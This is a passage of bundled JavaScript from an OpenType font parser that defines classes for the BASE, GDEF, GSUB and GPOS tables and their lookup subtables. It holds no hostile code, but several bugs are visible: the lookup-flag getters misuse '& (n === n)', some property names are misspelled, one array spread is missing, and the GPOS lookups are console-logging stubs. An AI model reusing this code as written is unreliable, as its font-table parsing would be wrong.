16308 this.defaultBaselineIndex = p.uint16;
16309 this.baseCoordCount = p.uint16;
16310 this.baseCoords = [ ...new Array( this.baseCoordCount ) ].map(
16311 ( _ ) => p.Offset16
16312 );
16313 }
16314 getTable( id ) {
16315 this.parser.currentPosition = this.start + this.baseCoords[ id ];
16316 return new BaseCoordTable( this.parser );
16317 }
16318}
16319class MinMaxTable {
16320 constructor( p ) {
16321 this.minCoord = p.Offset16;
16322 this.maxCoord = p.Offset16;
16323 this.featMinMaxCount = p.uint16;
16324 const recordStart = p.currentPosition;
16325 lazy$1( this, `featMinMaxRecords`, () => {
16326 p.currentPosition = recordStart;
16327 return [ ...new Array( this.featMinMaxCount ) ].map(
16328 ( _ ) => new FeatMinMaxRecord( p )
16329 );
16330 } );
16331 }
16332}
16333class FeatMinMaxRecord {
16334 constructor( p ) {
16335 this.featureTableTag = p.tag;
16336 this.minCoord = p.Offset16;
16337 this.maxCoord = p.Offset16;
16338 }
16339}
16340class BaseCoordTable {
16341 constructor( p ) {
16342 this.baseCoordFormat = p.uint16;
16343 this.coordinate = p.int16;
16344 if ( this.baseCoordFormat === 2 ) {
16345 this.referenceGlyph = p.uint16;
16346 this.baseCoordPoint = p.uint16;
16347 }
16348 if ( this.baseCoordFormat === 3 ) {
16349 this.deviceTable = p.Offset16;
16350 }
16351 }
16352}
16353var BASE$1 = Object.freeze( { __proto__: null, BASE: BASE } );
16354class ClassDefinition {
16355 constructor( p ) {
16356 this.classFormat = p.uint16;
16357 if ( this.classFormat === 1 ) {
16358 this.startGlyphID = p.uint16;
16359 this.glyphCount = p.uint16;
16360 this.classValueArray = [ ...new Array( this.glyphCount ) ].map(
16361 ( _ ) => p.uint16
16362 );
16363 }
16364 if ( this.classFormat === 2 ) {
16365 this.classRangeCount = p.uint16;
16366 this.classRangeRecords = [
16367 ...new Array( this.classRangeCount ),
16368 ].map( ( _ ) => new ClassRangeRecord( p ) );
16369 }
16370 }
16371}
16372class ClassRangeRecord {
16373 constructor( p ) {
16374 this.startGlyphID = p.uint16;
16375 this.endGlyphID = p.uint16;
16376 this.class = p.uint16;
16377 }
16378}
16379class CoverageTable extends ParsedData {
16380 constructor( p ) {
16381 super( p );
16382 this.coverageFormat = p.uint16;
16383 if ( this.coverageFormat === 1 ) {
16384 this.glyphCount = p.uint16;
16385 this.glyphArray = [ ...new Array( this.glyphCount ) ].map(
16386 ( _ ) => p.uint16
16387 );
16388 }
16389 if ( this.coverageFormat === 2 ) {
16390 this.rangeCount = p.uint16;
16391 this.rangeRecords = [ ...new Array( this.rangeCount ) ].map(
16392 ( _ ) => new CoverageRangeRecord( p )
16393 );
16394 }
16395 }
16396}
16397class CoverageRangeRecord {
16398 constructor( p ) {
16399 this.startGlyphID = p.uint16;
16400 this.endGlyphID = p.uint16;
16401 this.startCoverageIndex = p.uint16;
16402 }
16403}
16404class ItemVariationStoreTable {
16405 constructor( table, p ) {
16406 this.table = table;
16407 this.parser = p;
16408 this.start = p.currentPosition;
16409 this.format = p.uint16;
16410 this.variationRegionListOffset = p.Offset32;
16411 this.itemVariationDataCount = p.uint16;
16412 this.itemVariationDataOffsets = [
16413 ...new Array( this.itemVariationDataCount ),
16414 ].map( ( _ ) => p.Offset32 );
16415 }
16416}
16417class GDEF extends SimpleTable {
16418 constructor( dict, dataview ) {
16419 const { p: p } = super( dict, dataview );
16420 this.majorVersion = p.uint16;
16421 this.minorVersion = p.uint16;
16422 this.glyphClassDefOffset = p.Offset16;
16423 lazy$1( this, `glyphClassDefs`, () => {
16424 if ( this.glyphClassDefOffset === 0 ) return undefined;
16425 p.currentPosition = this.tableStart + this.glyphClassDefOffset;
16426 return new ClassDefinition( p );
16427 } );
16428 this.attachListOffset = p.Offset16;
16429 lazy$1( this, `attachList`, () => {
16430 if ( this.attachListOffset === 0 ) return undefined;
16431 p.currentPosition = this.tableStart + this.attachListOffset;
16432 return new AttachList( p );
16433 } );
16434 this.ligCaretListOffset = p.Offset16;
16435 lazy$1( this, `ligCaretList`, () => {
16436 if ( this.ligCaretListOffset === 0 ) return undefined;
16437 p.currentPosition = this.tableStart + this.ligCaretListOffset;
16438 return new LigCaretList( p );
16439 } );
16440 this.markAttachClassDefOffset = p.Offset16;
16441 lazy$1( this, `markAttachClassDef`, () => {
16442 if ( this.markAttachClassDefOffset === 0 ) return undefined;
16443 p.currentPosition = this.tableStart + this.markAttachClassDefOffset;
16444 return new ClassDefinition( p );
16445 } );
16446 if ( this.minorVersion >= 2 ) {
16447 this.markGlyphSetsDefOffset = p.Offset16;
16448 lazy$1( this, `markGlyphSetsDef`, () => {
16449 if ( this.markGlyphSetsDefOffset === 0 ) return undefined;
16450 p.currentPosition =
16451 this.tableStart + this.markGlyphSetsDefOffset;
16452 return new MarkGlyphSetsTable( p );
16453 } );
16454 }
16455 if ( this.minorVersion === 3 ) {
16456 this.itemVarStoreOffset = p.Offset32;
16457 lazy$1( this, `itemVarStore`, () => {
16458 if ( this.itemVarStoreOffset === 0 ) return undefined;
16459 p.currentPosition = this.tableStart + this.itemVarStoreOffset;
16460 return new ItemVariationStoreTable( p );
16461 } );
16462 }
16463 }
16464}
16465class AttachList extends ParsedData {
16466 constructor( p ) {
16467 super( p );
16468 this.coverageOffset = p.Offset16;
16469 this.glyphCount = p.uint16;
16470 this.attachPointOffsets = [ ...new Array( this.glyphCount ) ].map(
16471 ( _ ) => p.Offset16
16472 );
16473 }
16474 getPoint( pointID ) {
16475 this.parser.currentPosition =
16476 this.start + this.attachPointOffsets[ pointID ];
16477 return new AttachPoint( this.parser );
16478 }
16479}
16480class AttachPoint {
16481 constructor( p ) {
16482 this.pointCount = p.uint16;
16483 this.pointIndices = [ ...new Array( this.pointCount ) ].map(
16484 ( _ ) => p.uint16
16485 );
16486 }
16487}
16488class LigCaretList extends ParsedData {
16489 constructor( p ) {
16490 super( p );
16491 this.coverageOffset = p.Offset16;
16492 lazy$1( this, `coverage`, () => {
16493 p.currentPosition = this.start + this.coverageOffset;
16494 return new CoverageTable( p );
16495 } );
16496 this.ligGlyphCount = p.uint16;
16497 this.ligGlyphOffsets = [ ...new Array( this.ligGlyphCount ) ].map(
16498 ( _ ) => p.Offset16
16499 );
16500 }
16501 getLigGlyph( ligGlyphID ) {
16502 this.parser.currentPosition =
16503 this.start + this.ligGlyphOffsets[ ligGlyphID ];
16504 return new LigGlyph( this.parser );
16505 }
16506}
16507class LigGlyph extends ParsedData {
16508 constructor( p ) {
16509 super( p );
16510 this.caretCount = p.uint16;
16511 this.caretValueOffsets = [ ...new Array( this.caretCount ) ].map(
16512 ( _ ) => p.Offset16
16513 );
16514 }
16515 getCaretValue( caretID ) {
16516 this.parser.currentPosition =
16517 this.start + this.caretValueOffsets[ caretID ];
16518 return new CaretValue( this.parser );
16519 }
16520}
16521class CaretValue {
16522 constructor( p ) {
16523 this.caretValueFormat = p.uint16;
16524 if ( this.caretValueFormat === 1 ) {
16525 this.coordinate = p.int16;
16526 }
16527 if ( this.caretValueFormat === 2 ) {
16528 this.caretValuePointIndex = p.uint16;
16529 }
16530 if ( this.caretValueFormat === 3 ) {
16531 this.coordinate = p.int16;
16532 this.deviceOffset = p.Offset16;
16533 }
16534 }
16535}
16536class MarkGlyphSetsTable extends ParsedData {
16537 constructor( p ) {
16538 super( p );
16539 this.markGlyphSetTableFormat = p.uint16;
16540 this.markGlyphSetCount = p.uint16;
16541 this.coverageOffsets = [ ...new Array( this.markGlyphSetCount ) ].map(
16542 ( _ ) => p.Offset32
16543 );
16544 }
16545 getMarkGlyphSet( markGlyphSetID ) {
16546 this.parser.currentPosition =
16547 this.start + this.coverageOffsets[ markGlyphSetID ];
16548 return new CoverageTable( this.parser );
16549 }
16550}
16551var GDEF$1 = Object.freeze( { __proto__: null, GDEF: GDEF } );
16552class ScriptList extends ParsedData {
16553 static EMPTY = { scriptCount: 0, scriptRecords: [] };
16554 constructor( p ) {
16555 super( p );
16556 this.scriptCount = p.uint16;
16557 this.scriptRecords = [ ...new Array( this.scriptCount ) ].map(
16558 ( _ ) => new ScriptRecord( p )
16559 );
16560 }
16561}
16562class ScriptRecord {
16563 constructor( p ) {
16564 this.scriptTag = p.tag;
16565 this.scriptOffset = p.Offset16;
16566 }
16567}
16568class ScriptTable extends ParsedData {
16569 constructor( p ) {
16570 super( p );
16571 this.defaultLangSys = p.Offset16;
16572 this.langSysCount = p.uint16;
16573 this.langSysRecords = [ ...new Array( this.langSysCount ) ].map(
16574 ( _ ) => new LangSysRecord( p )
16575 );
16576 }
16577}
16578class LangSysRecord {
16579 constructor( p ) {
16580 this.langSysTag = p.tag;
16581 this.langSysOffset = p.Offset16;
16582 }
16583}
16584class LangSysTable {
16585 constructor( p ) {
16586 this.lookupOrder = p.Offset16;
16587 this.requiredFeatureIndex = p.uint16;
16588 this.featureIndexCount = p.uint16;
16589 this.featureIndices = [ ...new Array( this.featureIndexCount ) ].map(
16590 ( _ ) => p.uint16
16591 );
16592 }
16593}
16594class FeatureList extends ParsedData {
16595 static EMPTY = { featureCount: 0, featureRecords: [] };
16596 constructor( p ) {
16597 super( p );
16598 this.featureCount = p.uint16;
16599 this.featureRecords = [ ...new Array( this.featureCount ) ].map(
16600 ( _ ) => new FeatureRecord( p )
16601 );
16602 }
16603}
16604class FeatureRecord {
16605 constructor( p ) {
16606 this.featureTag = p.tag;
16607 this.featureOffset = p.Offset16;
16608 }
16609}
16610class FeatureTable extends ParsedData {
16611 constructor( p ) {
16612 super( p );
16613 this.featureParams = p.Offset16;
16614 this.lookupIndexCount = p.uint16;
16615 this.lookupListIndices = [ ...new Array( this.lookupIndexCount ) ].map(
16616 ( _ ) => p.uint16
16617 );
16618 }
16619 getFeatureParams() {
16620 if ( this.featureParams > 0 ) {
16621 const p = this.parser;
16622 p.currentPosition = this.start + this.featureParams;
16623 const tag = this.featureTag;
16624 if ( tag === `size` ) return new Size( p );
16625 if ( tag.startsWith( `cc` ) ) return new CharacterVariant( p );
16626 if ( tag.startsWith( `ss` ) ) return new StylisticSet( p );
16627 }
16628 }
16629}
16630class CharacterVariant {
16631 constructor( p ) {
16632 this.format = p.uint16;
16633 this.featUiLabelNameId = p.uint16;
16634 this.featUiTooltipTextNameId = p.uint16;
16635 this.sampleTextNameId = p.uint16;
16636 this.numNamedParameters = p.uint16;
16637 this.firstParamUiLabelNameId = p.uint16;
16638 this.charCount = p.uint16;
16639 this.character = [ ...new Array( this.charCount ) ].map(
16640 ( _ ) => p.uint24
16641 );
16642 }
16643}
16644class Size {
16645 constructor( p ) {
16646 this.designSize = p.uint16;
16647 this.subfamilyIdentifier = p.uint16;
16648 this.subfamilyNameID = p.uint16;
16649 this.smallEnd = p.uint16;
16650 this.largeEnd = p.uint16;
16651 }
16652}
16653class StylisticSet {
16654 constructor( p ) {
16655 this.version = p.uint16;
16656 this.UINameID = p.uint16;
16657 }
16658}
16659function undoCoverageOffsetParsing( instance ) {
16660 instance.parser.currentPosition -= 2;
16661 delete instance.coverageOffset;
16662 delete instance.getCoverageTable;
16663}
16664class LookupType$1 extends ParsedData {
16665 constructor( p ) {
16666 super( p );
16667 this.substFormat = p.uint16;
16668 this.coverageOffset = p.Offset16;
16669 }
16670 getCoverageTable() {
16671 let p = this.parser;
16672 p.currentPosition = this.start + this.coverageOffset;
16673 return new CoverageTable( p );
16674 }
16675}
16676class SubstLookupRecord {
16677 constructor( p ) {
16678 this.glyphSequenceIndex = p.uint16;
16679 this.lookupListIndex = p.uint16;
16680 }
16681}
16682class LookupType1$1 extends LookupType$1 {
16683 constructor( p ) {
16684 super( p );
16685 this.deltaGlyphID = p.int16;
16686 }
16687}
16688class LookupType2$1 extends LookupType$1 {
16689 constructor( p ) {
16690 super( p );
16691 this.sequenceCount = p.uint16;
16692 this.sequenceOffsets = [ ...new Array( this.sequenceCount ) ].map(
16693 ( _ ) => p.Offset16
16694 );
16695 }
16696 getSequence( index ) {
16697 let p = this.parser;
16698 p.currentPosition = this.start + this.sequenceOffsets[ index ];
16699 return new SequenceTable( p );
16700 }
16701}
16702class SequenceTable {
16703 constructor( p ) {
16704 this.glyphCount = p.uint16;
16705 this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
16706 ( _ ) => p.uint16
16707 );
16708 }
16709}
16710class LookupType3$1 extends LookupType$1 {
16711 constructor( p ) {
16712 super( p );
16713 this.alternateSetCount = p.uint16;
16714 this.alternateSetOffsets = [
16715 ...new Array( this.alternateSetCount ),
16716 ].map( ( _ ) => p.Offset16 );
16717 }
16718 getAlternateSet( index ) {
16719 let p = this.parser;
16720 p.currentPosition = this.start + this.alternateSetOffsets[ index ];
16721 return new AlternateSetTable( p );
16722 }
16723}
16724class AlternateSetTable {
16725 constructor( p ) {
16726 this.glyphCount = p.uint16;
16727 this.alternateGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
16728 ( _ ) => p.uint16
16729 );
16730 }
16731}
16732class LookupType4$1 extends LookupType$1 {
16733 constructor( p ) {
16734 super( p );
16735 this.ligatureSetCount = p.uint16;
16736 this.ligatureSetOffsets = [ ...new Array( this.ligatureSetCount ) ].map(
16737 ( _ ) => p.Offset16
16738 );
16739 }
16740 getLigatureSet( index ) {
16741 let p = this.parser;
16742 p.currentPosition = this.start + this.ligatureSetOffsets[ index ];
16743 return new LigatureSetTable( p );
16744 }
16745}
16746class LigatureSetTable extends ParsedData {
16747 constructor( p ) {
16748 super( p );
16749 this.ligatureCount = p.uint16;
16750 this.ligatureOffsets = [ ...new Array( this.ligatureCount ) ].map(
16751 ( _ ) => p.Offset16
16752 );
16753 }
16754 getLigature( index ) {
16755 let p = this.parser;
16756 p.currentPosition = this.start + this.ligatureOffsets[ index ];
16757 return new LigatureTable( p );
16758 }
16759}
16760class LigatureTable {
16761 constructor( p ) {
16762 this.ligatureGlyph = p.uint16;
16763 this.componentCount = p.uint16;
16764 this.componentGlyphIDs = [
16765 ...new Array( this.componentCount - 1 ),
16766 ].map( ( _ ) => p.uint16 );
16767 }
16768}
16769class LookupType5$1 extends LookupType$1 {
16770 constructor( p ) {
16771 super( p );
16772 if ( this.substFormat === 1 ) {
16773 this.subRuleSetCount = p.uint16;
16774 this.subRuleSetOffsets = [
16775 ...new Array( this.subRuleSetCount ),
16776 ].map( ( _ ) => p.Offset16 );
16777 }
16778 if ( this.substFormat === 2 ) {
16779 this.classDefOffset = p.Offset16;
16780 this.subClassSetCount = p.uint16;
16781 this.subClassSetOffsets = [
16782 ...new Array( this.subClassSetCount ),
16783 ].map( ( _ ) => p.Offset16 );
16784 }
16785 if ( this.substFormat === 3 ) {
16786 undoCoverageOffsetParsing( this );
16787 this.glyphCount = p.uint16;
16788 this.substitutionCount = p.uint16;
16789 this.coverageOffsets = [ ...new Array( this.glyphCount ) ].map(
16790 ( _ ) => p.Offset16
16791 );
16792 this.substLookupRecords = [
16793 ...new Array( this.substitutionCount ),
16794 ].map( ( _ ) => new SubstLookupRecord( p ) );
16795 }
16796 }
16797 getSubRuleSet( index ) {
16798 if ( this.substFormat !== 1 )
16799 throw new Error(
16800 `lookup type 5.${ this.substFormat } has no subrule sets.`
16801 );
16802 let p = this.parser;
16803 p.currentPosition = this.start + this.subRuleSetOffsets[ index ];
16804 return new SubRuleSetTable( p );
16805 }
16806 getSubClassSet( index ) {
16807 if ( this.substFormat !== 2 )
16808 throw new Error(
16809 `lookup type 5.${ this.substFormat } has no subclass sets.`
16810 );
16811 let p = this.parser;
16812 p.currentPosition = this.start + this.subClassSetOffsets[ index ];
16813 return new SubClassSetTable( p );
16814 }
16815 getCoverageTable( index ) {
16816 if ( this.substFormat !== 3 && ! index )
16817 return super.getCoverageTable();
16818 if ( ! index )
16819 throw new Error(
16820 `lookup type 5.${ this.substFormat } requires an coverage table index.`
16821 );
16822 let p = this.parser;
16823 p.currentPosition = this.start + this.coverageOffsets[ index ];
16824 return new CoverageTable( p );
16825 }
16826}
16827class SubRuleSetTable extends ParsedData {
16828 constructor( p ) {
16829 super( p );
16830 this.subRuleCount = p.uint16;
16831 this.subRuleOffsets = [ ...new Array( this.subRuleCount ) ].map(
16832 ( _ ) => p.Offset16
16833 );
16834 }
16835 getSubRule( index ) {
16836 let p = this.parser;
16837 p.currentPosition = this.start + this.subRuleOffsets[ index ];
16838 return new SubRuleTable( p );
16839 }
16840}
16841class SubRuleTable {
16842 constructor( p ) {
16843 this.glyphCount = p.uint16;
16844 this.substitutionCount = p.uint16;
16845 this.inputSequence = [ ...new Array( this.glyphCount - 1 ) ].map(
16846 ( _ ) => p.uint16
16847 );
16848 this.substLookupRecords = [
16849 ...new Array( this.substitutionCount ),
16850 ].map( ( _ ) => new SubstLookupRecord( p ) );
16851 }
16852}
16853class SubClassSetTable extends ParsedData {
16854 constructor( p ) {
16855 super( p );
16856 this.subClassRuleCount = p.uint16;
16857 this.subClassRuleOffsets = [
16858 ...new Array( this.subClassRuleCount ),
16859 ].map( ( _ ) => p.Offset16 );
16860 }
16861 getSubClass( index ) {
16862 let p = this.parser;
16863 p.currentPosition = this.start + this.subClassRuleOffsets[ index ];
16864 return new SubClassRuleTable( p );
16865 }
16866}
16867class SubClassRuleTable extends SubRuleTable {
16868 constructor( p ) {
16869 super( p );
16870 }
16871}
16872class LookupType6$1 extends LookupType$1 {
16873 constructor( p ) {
16874 super( p );
16875 if ( this.substFormat === 1 ) {
16876 this.chainSubRuleSetCount = p.uint16;
16877 this.chainSubRuleSetOffsets = [
16878 ...new Array( this.chainSubRuleSetCount ),
16879 ].map( ( _ ) => p.Offset16 );
16880 }
16881 if ( this.substFormat === 2 ) {
16882 this.backtrackClassDefOffset = p.Offset16;
16883 this.inputClassDefOffset = p.Offset16;
16884 this.lookaheadClassDefOffset = p.Offset16;
16885 this.chainSubClassSetCount = p.uint16;
16886 this.chainSubClassSetOffsets = [
16887 ...new Array( this.chainSubClassSetCount ),
16888 ].map( ( _ ) => p.Offset16 );
16889 }
16890 if ( this.substFormat === 3 ) {
16891 undoCoverageOffsetParsing( this );
16892 this.backtrackGlyphCount = p.uint16;
16893 this.backtrackCoverageOffsets = [
16894 ...new Array( this.backtrackGlyphCount ),
16895 ].map( ( _ ) => p.Offset16 );
16896 this.inputGlyphCount = p.uint16;
16897 this.inputCoverageOffsets = [
16898 ...new Array( this.inputGlyphCount ),
16899 ].map( ( _ ) => p.Offset16 );
16900 this.lookaheadGlyphCount = p.uint16;
16901 this.lookaheadCoverageOffsets = [
16902 ...new Array( this.lookaheadGlyphCount ),
16903 ].map( ( _ ) => p.Offset16 );
16904 this.seqLookupCount = p.uint16;
16905 this.seqLookupRecords = [
16906 ...new Array( this.substitutionCount ),
16907 ].map( ( _ ) => new SequenceLookupRecord( p ) );
16908 }
16909 }
16910 getChainSubRuleSet( index ) {
16911 if ( this.substFormat !== 1 )
16912 throw new Error(
16913 `lookup type 6.${ this.substFormat } has no chainsubrule sets.`
16914 );
16915 let p = this.parser;
16916 p.currentPosition = this.start + this.chainSubRuleSetOffsets[ index ];
16917 return new ChainSubRuleSetTable( p );
16918 }
16919 getChainSubClassSet( index ) {
16920 if ( this.substFormat !== 2 )
16921 throw new Error(
16922 `lookup type 6.${ this.substFormat } has no chainsubclass sets.`
16923 );
16924 let p = this.parser;
16925 p.currentPosition = this.start + this.chainSubClassSetOffsets[ index ];
16926 return new ChainSubClassSetTable( p );
16927 }
16928 getCoverageFromOffset( offset ) {
16929 if ( this.substFormat !== 3 )
16930 throw new Error(
16931 `lookup type 6.${ this.substFormat } does not use contextual coverage offsets.`
16932 );
16933 let p = this.parser;
16934 p.currentPosition = this.start + offset;
16935 return new CoverageTable( p );
16936 }
16937}
16938class ChainSubRuleSetTable extends ParsedData {
16939 constructor( p ) {
16940 super( p );
16941 this.chainSubRuleCount = p.uint16;
16942 this.chainSubRuleOffsets = [
16943 ...new Array( this.chainSubRuleCount ),
16944 ].map( ( _ ) => p.Offset16 );
16945 }
16946 getSubRule( index ) {
16947 let p = this.parser;
16948 p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
16949 return new ChainSubRuleTable( p );
16950 }
16951}
16952class ChainSubRuleTable {
16953 constructor( p ) {
16954 this.backtrackGlyphCount = p.uint16;
16955 this.backtrackSequence = [
16956 ...new Array( this.backtrackGlyphCount ),
16957 ].map( ( _ ) => p.uint16 );
16958 this.inputGlyphCount = p.uint16;
16959 this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
16960 ( _ ) => p.uint16
16961 );
16962 this.lookaheadGlyphCount = p.uint16;
16963 this.lookAheadSequence = [
16964 ...new Array( this.lookAheadGlyphCount ),
16965 ].map( ( _ ) => p.uint16 );
16966 this.substitutionCount = p.uint16;
16967 this.substLookupRecords = [ ...new Array( this.SubstCount ) ].map(
16968 ( _ ) => new SubstLookupRecord( p )
16969 );
16970 }
16971}
16972class ChainSubClassSetTable extends ParsedData {
16973 constructor( p ) {
16974 super( p );
16975 this.chainSubClassRuleCount = p.uint16;
16976 this.chainSubClassRuleOffsets = [
16977 ...new Array( this.chainSubClassRuleCount ),
16978 ].map( ( _ ) => p.Offset16 );
16979 }
16980 getSubClass( index ) {
16981 let p = this.parser;
16982 p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
16983 return new ChainSubClassRuleTable( p );
16984 }
16985}
16986class ChainSubClassRuleTable {
16987 constructor( p ) {
16988 this.backtrackGlyphCount = p.uint16;
16989 this.backtrackSequence = [
16990 ...new Array( this.backtrackGlyphCount ),
16991 ].map( ( _ ) => p.uint16 );
16992 this.inputGlyphCount = p.uint16;
16993 this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
16994 ( _ ) => p.uint16
16995 );
16996 this.lookaheadGlyphCount = p.uint16;
16997 this.lookAheadSequence = [
16998 ...new Array( this.lookAheadGlyphCount ),
16999 ].map( ( _ ) => p.uint16 );
17000 this.substitutionCount = p.uint16;
17001 this.substLookupRecords = [
17002 ...new Array( this.substitutionCount ),
17003 ].map( ( _ ) => new SequenceLookupRecord( p ) );
17004 }
17005}
17006class SequenceLookupRecord extends ParsedData {
17007 constructor( p ) {
17008 super( p );
17009 this.sequenceIndex = p.uint16;
17010 this.lookupListIndex = p.uint16;
17011 }
17012}
17013class LookupType7$1 extends ParsedData {
17014 constructor( p ) {
17015 super( p );
17016 this.substFormat = p.uint16;
17017 this.extensionLookupType = p.uint16;
17018 this.extensionOffset = p.Offset32;
17019 }
17020}
17021class LookupType8$1 extends LookupType$1 {
17022 constructor( p ) {
17023 super( p );
17024 this.backtrackGlyphCount = p.uint16;
17025 this.backtrackCoverageOffsets = [
17026 ...new Array( this.backtrackGlyphCount ),
17027 ].map( ( _ ) => p.Offset16 );
17028 this.lookaheadGlyphCount = p.uint16;
17029 this.lookaheadCoverageOffsets = [
17030 new Array( this.lookaheadGlyphCount ),
17031 ].map( ( _ ) => p.Offset16 );
17032 this.glyphCount = p.uint16;
17033 this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
17034 ( _ ) => p.uint16
17035 );
17036 }
17037}
17038var GSUBtables = {
17039 buildSubtable: function ( type, p ) {
17040 const subtable = new [
17041 undefined,
17042 LookupType1$1,
17043 LookupType2$1,
17044 LookupType3$1,
17045 LookupType4$1,
17046 LookupType5$1,
17047 LookupType6$1,
17048 LookupType7$1,
17049 LookupType8$1,
17050 ][ type ]( p );
17051 subtable.type = type;
17052 return subtable;
17053 },
17054};
17055class LookupType extends ParsedData {
17056 constructor( p ) {
17057 super( p );
17058 }
17059}
17060class LookupType1 extends LookupType {
17061 constructor( p ) {
17062 super( p );
17063 console.log( `lookup type 1` );
17064 }
17065}
17066class LookupType2 extends LookupType {
17067 constructor( p ) {
17068 super( p );
17069 console.log( `lookup type 2` );
17070 }
17071}
17072class LookupType3 extends LookupType {
17073 constructor( p ) {
17074 super( p );
17075 console.log( `lookup type 3` );
17076 }
17077}
17078class LookupType4 extends LookupType {
17079 constructor( p ) {
17080 super( p );
17081 console.log( `lookup type 4` );
17082 }
17083}
17084class LookupType5 extends LookupType {
17085 constructor( p ) {
17086 super( p );
17087 console.log( `lookup type 5` );
17088 }
17089}
17090class LookupType6 extends LookupType {
17091 constructor( p ) {
17092 super( p );
17093 console.log( `lookup type 6` );
17094 }
17095}
17096class LookupType7 extends LookupType {
17097 constructor( p ) {
17098 super( p );
17099 console.log( `lookup type 7` );
17100 }
17101}
17102class LookupType8 extends LookupType {
17103 constructor( p ) {
17104 super( p );
17105 console.log( `lookup type 8` );
17106 }
17107}
17108class LookupType9 extends LookupType {
17109 constructor( p ) {
17110 super( p );
17111 console.log( `lookup type 9` );
17112 }
17113}
17114var GPOStables = {
17115 buildSubtable: function ( type, p ) {
17116 const subtable = new [
17117 undefined,
17118 LookupType1,
17119 LookupType2,
17120 LookupType3,
17121 LookupType4,
17122 LookupType5,
17123 LookupType6,
17124 LookupType7,
17125 LookupType8,
17126 LookupType9,
17127 ][ type ]( p );
17128 subtable.type = type;
17129 return subtable;
17130 },
17131};
17132class LookupList extends ParsedData {
17133 static EMPTY = { lookupCount: 0, lookups: [] };
17134 constructor( p ) {
17135 super( p );
17136 this.lookupCount = p.uint16;
17137 this.lookups = [ ...new Array( this.lookupCount ) ].map(
17138 ( _ ) => p.Offset16
17139 );
17140 }
17141}
17142class LookupTable extends ParsedData {
17143 constructor( p, type ) {
17144 super( p );
17145 this.ctType = type;
17146 this.lookupType = p.uint16;
17147 this.lookupFlag = p.uint16;
17148 this.subTableCount = p.uint16;
17149 this.subtableOffsets = [ ...new Array( this.subTableCount ) ].map(
17150 ( _ ) => p.Offset16
17151 );
17152 this.markFilteringSet = p.uint16;
17153 }
17154 get rightToLeft() {
17155 return this.lookupFlag & ( 1 === 1 );
17156 }
17157 get ignoreBaseGlyphs() {
17158 return this.lookupFlag & ( 2 === 2 );
17159 }
17160 get ignoreLigatures() {
17161 return this.lookupFlag & ( 4 === 4 );
17162 }
17163 get ignoreMarks() {
17164 return this.lookupFlag & ( 8 === 8 );
17165 }
17166 get useMarkFilteringSet() {
17167 return this.lookupFlag & ( 16 === 16 );
17168 }
17169 get markAttachmentType() {
17170 return this.lookupFlag & ( 65280 === 65280 );
17171 }
17172 getSubTable( index ) {
17173 const builder = this.ctType === `GSUB` ? GSUBtables : GPOStables;
17174 this.parser.currentPosition =
17175 this.start + this.subtableOffsets[ index ];
17176 return builder.buildSubtable( this.lookupType, this.parser );
17177 }
17178}
17179class CommonLayoutTable extends SimpleTable {
17180 constructor( dict, dataview, name ) {
17181 const { p: p, tableStart: tableStart } = super( dict, dataview, name );
17182 this.majorVersion = p.uint16;
17183 this.minorVersion = p.uint16;
17184 this.scriptListOffset = p.Offset16;
17185 this.featureListOffset = p.Offset16;
17186 this.lookupListOffset = p.Offset16;
17187 if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
17188 this.featureVariationsOffset = p.Offset32;
17189 }
17190 const no_content = ! (
17191 this.scriptListOffset ||
17192 this.featureListOffset ||
17193 this.lookupListOffset
17194 );
17195 lazy$1( this, `scriptList`, () => {
17196 if ( no_content ) return ScriptList.EMPTY;
17197 p.currentPosition = tableStart + this.scriptListOffset;
17198 return new ScriptList( p );
17199 } );
17200 lazy$1( this, `featureList`, () => {
17201 if ( no_content ) return FeatureList.EMPTY;
17202 p.currentPosition = tableStart + this.featureListOffset;
17203 return new FeatureList( p );
17204 } );
17205 lazy$1( this, `lookupList`, () => {
17206 if ( no_content ) return LookupList.EMPTY;
17207 p.currentPosition = tableStart + this.lookupListOffset;
17208 return new LookupList( p );
17209 } );
17210 if ( this.featureVariationsOffset ) {
17211 lazy$1( this, `featureVariations`, () => {
17212 if ( no_content ) return FeatureVariations.EMPTY;
17213 p.currentPosition = tableStart + this.featureVariationsOffset;
17214 return new FeatureVariations( p );
17215 } );
17216 }
17217 }
17218 getSupportedScripts() {
17219 return this.scriptList.scriptRecords.map( ( r ) => r.scriptTag );
17220 }
17221 getScriptTable( scriptTag ) {
17222 let record = this.scriptList.scriptRecords.find(
17223 ( r ) => r.scriptTag === scriptTag
17224 );
17225 this.parser.currentPosition =
17226 this.scriptList.start + record.scriptOffset;
17227 let table = new ScriptTable( this.parser );
17228 table.scriptTag = scriptTag;
17229 return table;
17230 }
17231 ensureScriptTable( arg ) {
17232 if ( typeof arg === 'string' ) {
17233 return this.getScriptTable( arg );
17234 }
17235 return arg;
17236 }
17237 getSupportedLangSys( scriptTable ) {
17238 scriptTable = this.ensureScriptTable( scriptTable );
17239 const hasDefault = scriptTable.defaultLangSys !== 0;
17240 const supported = scriptTable.langSysRecords.map(
17241 ( l ) => l.langSysTag
17242 );
17243 if ( hasDefault ) supported.unshift( `dflt` );
17244 return supported;
17245 }
17246 getDefaultLangSysTable( scriptTable ) {
17247 scriptTable = this.ensureScriptTable( scriptTable );
17248 let offset = scriptTable.defaultLangSys;
17249 if ( offset !== 0 ) {
17250 this.parser.currentPosition = scriptTable.start + offset;
17251 let table = new LangSysTable( this.parser );
17252 table.langSysTag = ``;
17253 table.defaultForScript = scriptTable.scriptTag;
17254 return table;
17255 }
17256 }
17257 getLangSysTable( scriptTable, langSysTag = `dflt` ) {
17258 if ( langSysTag === `dflt` )
17259 return this.getDefaultLangSysTable( scriptTable );
17260 scriptTable = this.ensureScriptTable( scriptTable );
17261 let record = scriptTable.langSysRecords.find(
17262 ( l ) => l.langSysTag === langSysTag
17263 );
17264 this.parser.currentPosition = scriptTable.start + record.langSysOffset;
17265 let table = new LangSysTable( this.parser );
17266 table.langSysTag = langSysTag;
17267 return table;
17268 }
17269 getFeatures( langSysTable ) {
17270 return langSysTable.featureIndices.map( ( index ) =>
17271 this.getFeature( index )
17272 );
17273 }
17274 getFeature( indexOrTag ) {
17275 let record;
